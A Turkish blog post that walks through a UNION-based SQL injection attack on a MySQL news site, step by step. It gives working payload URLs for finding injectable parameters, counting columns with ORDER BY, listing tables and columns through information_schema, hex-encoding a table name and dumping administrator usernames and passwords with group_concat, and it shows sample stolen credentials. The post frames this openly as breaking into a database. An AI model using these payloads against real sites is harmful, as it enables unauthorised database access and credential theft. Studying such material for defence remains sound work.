Sql

Amaç arşivde kalsın...


Selamun aleyküm arkadaşlar.
Bi döküman yazayım diye düşündüm. Size baştan sona sql inj. mantığını anlatmayı planlıyorum arkadaşlar.karşımızda bir site var biz veritabanına sızıcaz bu konuda kararlıyız başlayalım o zaman
http://www.sql.com/news.php?id=7 -----> sitemiz bu ik olarak id değerimizin sonuna ' işareti koyarak sql sorgularını çalıştırıp çalıştırmadığını anlıyoruz. Eğerki hata verirse sql sorgularını çalıştırabiliyor demektir ve bizde bu sql sorgularıyla veritabanından bilgi çekebiliriz. 
Hatamızı aldık nasıl olabilir bu hatalar ?
Sayfadaki veriler gelmeyebilir.
Sayfada anlamsız garip warning mysql include gibi şeyler yazar. Yani sql hataları görünür.
Hatamızıda aldığımıza göre tam gaz devam sırada kolon sayısını öğrenmekvar ve order+by+1 komutunu id değerimizin sonuna yazıyoruz:
http://www.sql.com/news.php?id=7+order+by+1 ---> yazdık ve sayfadaki hatalar yeniden geldi ? Hönk nasıl lan gitmiyomuydu böyle 

bazı sitelerde karşınıza çıkar arkadaşlar böyle olduğu zamanlar sorgumuzu şu şekilde devam ettireceğiz:
http://www.sql.com/news.php?id=7+order+by+1-- sona koyduğum 2 tane tire dikkatinizi çeksin bu sql sorgularında kullanılır. yazdık ve ekran geri geldi tertemiz ilk günkü gibi şimdi artırıyorum kolon sayısını
http://www.sql.com/news.php?id=7+order+by+10-- hata var
http://www.sql.com/news.php?id=7+order+by+9-- hata var
http://www.sql.com/news.php?id=7+order+by+8-- hata var
http://www.sql.com/news.php?id=7+order+by+7-- sayfa aynen geldi 
demekki kolon sayımız 7 ve bunu farklı bir sql sorgusu şeklinde tekrar yazalım:
http://www.sql.com/news.php?id=7+union+select+1,2,3,4,5,6,7-- bazılarıda 0dan başlıyor o zaman şöyle oluyor söyleyim kafanız kaırşmasın:
http://www.sql.com/news.php?id=7+union+select+0,1,2,3,4,5,6--
her ikiside olur arkadaşlar yazdık sayfa geldi -- yine koyduk bazı siteler o olmadan sonuç vermiyor çünkü şimdi devam ekran yine aynen geldi o zaman bi - daha kullanacağız:
http://www.sql.com/news.php?id=-7+union+select+1,2,3,4,5,6,7-- dikkatli bakın id değerinin önüne - koydum ki id değerindeki veriler ekrandan gitsin bize yansıyan kolonları göstersin ve öylede oldu 3 - 5 - 7 bu kolonlar yansıdı ( her sitede farklı olur neden bende bunlar çıkmadı demeyin ) nasıl anlarız diye endişelenmenize gerek yok yazdığınız zaman onlar zaten kendini belli eder. şimdi bize tablo isimleri lazım sallamasyona hiç gerek yok mysql yapıyoruz sonuçta ( neden gerek yok : mysql 5 sistemlerde information_schema diye bir database vardır bu databasenin içinde datalar hariç tüm sql veritabanı kayıtlıdır tablolar ve kolonlar gibi yani ) information_schema dbsindeki tables tablosundan table_name kolonunu çekicem ve bana tüm tablo isimlerini vericek:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables--
ama bi gariplik var olur tabi çünkü tüm tabloları göster dediğimizde information_schema ve diğer databaselerdeki tablolarıda gösterir bize lazım olan sadece kendi databasemizdeki tablolar bu yüzden sorguyu şu şekilde değiştiriyorum:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables[color=#FFFF00] where table_schema=database()--[/color]
normalde burada hex kodlarıylada databasemizi belirtiriz ama ona henüz gerek yok böyle yazsanızda olur. evet işte şimdi oldu bakın 3 kolonunun olduğu yerde diyorki adminuser,news,product,images,music bize burada adminuser tablosu lazım o zaman adminuser tablosundan veri çekeceğiz ama nasıl çekeceğiz kolonları bilmiyoruz ? cevap: kolonlarıda information_schema'dan çekicez bu sefer sorgum şu:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(column_name),4,5,6 ,7+from+information_schema.columnswhere table_schema=database() and table_name=0x61646d696e75736572--
burada information_schema databasesindeki columns tablosundan column_name isimli kolondaki datayı çektim ama tüm kolonlar gelmemesi için biraz sınırlandırdım bu sınırlandırmalar where komutundan sonra başlıyor ilk olaraktable_schema=database() bu diyorki databasemizdeki kolonları çek diğerlerini değil and table_name=0x61646d696e75736572buda diyorki databasemizdekileri çek ve tablo ismi adminuser olan tablodaki kolonları çek 61646d696e75736572 bu yazılar hexkodlarıdır. hex encoder ve decoderlerde decode edince adminuser yazısını görürsünüz. hex kodları kullandığımız zaman kodların başına 0x koyarız sorguyu baştan sona anlattım 
şimdi devam username,password,email falan geldi username ve password'u alalım
sorguyu dahada basitleştiriyoruz artık:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(username,0x3a,pass word),4,5,6,7+from+adminuser--
bu sorguyuda anlatmama gerek yoktur diye düşünüyoruz ama group_concat'ın içi hakkında biraz bilgi vereyim. group_concat istediğimiz verilerin tümünü çekmemizi sağlar yani ben username'yi group concatsız yazsam sadece bir tane gelir ama group_concat parantezinin içine alsam tüm veriler gelir. aynı zamanda virgül koyup farklı kolonlardaki bilgileride çekebiliriz karışmaması açısından bende aralarıda : ( ikinokta ) koydum 3a hex dilinde : demektir. 0x zaten hex kodlarının başında yer alıyordu gelen verilere bakalım:
admin:qwerty,sqladmin:passql
2 tane adminimiz varmış bunu virgülden anladım çünkü sorguyu şöyle verdim:
önce adminin usernameyi ver araya : koy şifreyi ver.
sonrada virgül koyarak diğerlerini bu şekilde sıralamaya devam eder 

Arkadaşlar dökümanı gerçekten tam anlayabileceğiniz şekilde sıkmadan anlatmaya çaıştım Lisan-ı Sürç olduysa affola






Abdullah ÖZER
Abdullah ÖZER

Okumayı ve izlemeyi sever, yazmanın ise insana inanılmaz bir derinlik kattığına inanır. Çay vazgeçilmezidir. 90 ların müzikleriyle mest olur hatta kendinden geçer.

2 yorum:

  1. Çok Sagolasın Dostum işimize Yarıycak elbet bir gün

    YanıtlaSil
    Yanıtlar
    1. Umarım faydalı işlerde kullanmak nasip olur :))

      Sil